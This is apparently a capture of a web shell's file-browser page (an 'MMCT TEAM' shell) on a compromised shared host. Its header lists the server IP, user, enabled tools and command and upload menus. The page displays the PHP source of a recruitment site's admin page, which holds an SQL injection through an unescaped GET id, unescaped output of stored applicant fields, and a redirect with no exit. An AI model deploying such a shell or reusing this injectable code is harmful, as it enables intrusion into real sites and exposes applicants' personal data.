MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/Welkinsway/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/Welkinsway/Admin/data_view.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("Includes/db.php");

$bid  = $_GET['id'];

  $sql = "select * from tbl_job where id='$bid'";
  $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
  $sql_row = mysqli_fetch_assoc($sql_res);
  $fe_img = $sql_row['resume'];
  

 
      
?>

<!doctype html>
<html lang="en">
<head>
        
     <?php include 'Includes/head.php'; ?>

    </head>

    <body data-sidebar="dark">

    <!-- <body data-layout="horizontal" data-topbar="dark"> -->

        <!-- Begin page -->
        <div id="layout-wrapper">

            
            <?php include 'Includes/header.php'; ?>

            <!-- ========== Left Sidebar Start ========== -->
            <div class="vertical-menu">

                <div data-simplebar class="h-100">

                    <!--- Sidemenu -->
                   <?php include 'Includes/sidebar.php'; ?>
                    <!-- Sidebar -->
                </div>
            </div>
            <!-- Left Sidebar End -->

            

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="main-content">

                <div class="page-content">
                    <div class="container-fluid">

                        <!-- start page title -->
                        <div class="row">
                            <div class="col-12">
                                <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                    <h4 class="mb-sm-0 font-size-18"> Details</h4>

                                  

                                </div>
                            </div>
                        </div>
                        <!-- end page title -->

                       <div class="row">
                    
                        <div class="card">
                            <div class="card-body">
                                <h4 class="card-title"></h4>
                               
                                <form class="needs-validation" method="POST" action="action/edit_details.php?id=<?php echo $bid; ?>" enctype="multipart/form-data">
                                    <div class="row">

                                         <div class="row">
                                            
                                            <div class="col-md-6">

                                                <label>
                                                    Name of The candidate </label>
                                                    <input name="name" type="text" class="form-control " placeholder="Enter Name of The candidate"   value="<?php echo $sql_row['name']; ?>">
                                                
                                            </div>


                                             
                                            <div class="col-md-6">
                                                <label>
                                                    Your Email </label>
                                                   <input name="email" class="form-control " type="email" value="" placeholder="Your Email" value="<?php echo $sql_row['email']; ?>">
                                                
                                            </div>
                                            <div class="col-md-6">
                                                <label>
                                                    Phone Number </label>
                                                   <input name="phone" type="text" class="form-control " placeholder="Phone Number" value="<?php echo $sql_row['phone']; ?>">
                                                
                                            </div>
                                            <div class="col-md-6">
                                                <label>
                                                    Gender  </label>
                                                   <input name="phone" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['gender']; ?>"></span>
                                               
                                            </div>

                                            <div class="col-md-6">
                                                <label>
                                                    What Position are you applying for?
                                                    </label>
                                                   <input name="position" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['position']; ?>"></span>
                                                
                                            </div>

                                             <div class="col-md-6">
                                                <label>
                                                    What is your highest qualification?
                                                    </label>
                                                   <input name="qualification" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['qualification']; ?>"></span>
                                                
                                            </div>
                                            <div class="col-md-6">
                                                <label>
                                                    What is your current employment status?
                                                    </label>
                                                  
                                                   <input name="phone" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['e_status']; ?>"></span>
                                               
                                            </div>
                                            <div class="col-md-6">
                                                <label>
                                                      What is your Notice period?
                                                      </label>
                                                   <input name="nperiod" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['nperiod']; ?>"></span>
                                                
                                            </div>

                                             <div class="col-md-6">
                                                <label>
                                                    What is Your Total Work Experience?
                                                    </label>
                                                   <input name="work_exp" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['work_exp']; ?>">
                                                
                                            </div>

                                            <div class="col-md-6">
                                                <label>
                                                    What is your current CTC ?
                                                    </label>
                                                   <input name="c_ctc" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['c_ctc']; ?>">
                                               
                                            </div>

                                            <div class="col-md-6">
                                                <label>
                                                    What is your expected CTC ?
                                                    </label>
                                                   <input name="e_ctc" type="text" class="form-control " placeholder="" value="<?php echo $sql_row['e_ctc']; ?>">
                                                
                                            </div>

                                            <div class="col-md-6">
                                                <label>
                                                    What is your key skills?
                                                    </label>
                                                   <input name="skils" type="text" class="form-control "placeholder="" value="<?php echo $sql_row['skils']; ?>">
                                                
                                            </div>

                                             <div class="col-md-6">
                                                <label>
                                                        Availability to start work 
                                                        </label>
                                                   <input name="work_date" type="date" class="form-control " placeholder="" value="<?php echo $sql_row['work_date']; ?>">
                                                
                                            </div>

                                             <div class="col-md-6">
                                               
                                                   
                                                         <label for="validationCustom01" class="form-label">resume</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                               <a target="_blank" href="../resume/<?php echo $fe_img; ?>"><?php echo $fe_img; ?></a>
                                               <br>
                                        
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                    
                                                
                                            </div>

                                            <div class="col-md-12">
                                                <label>
                                                        Additional details.
                                                        </label>
                                                   <textarea name="adetail" rows="4" class="form-control " placeholder="Additional details..." ><?php echo $sql_row['adetail']; ?></textarea></span>
                                                
                                            </div>


                                        
                                        
                                   



                                        
                                    </div>


           
                                    
                                    <div>
                                        <!--<button class="btn btn-primary" type="submit">Submit </button>-->
                                    </div>
                                </form>
                            </div>
                        </div>
                        <!-- end card -->
                     <!-- end col -->

                   
                </div>
                        <!-- end row -->

                       
                        <!-- end row -->

                       
                        <!-- end row -->
                    </div>
                    <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

                

                <footer class="footer">
                     <?php include 'Includes/footer.php'; ?>
                </footer>
            </div>
            <!-- end main content-->

        </div>
        <!-- END layout-wrapper -->

        <!-- Right Sidebar -->
        
        <!-- /Right-bar -->

        <!-- Right bar overlay-->
        <div class="rightbar-overlay"></div>

     
        <?php include 'Includes/bscript.php'; ?>
    </body>
   
</html>

MMCT - 2023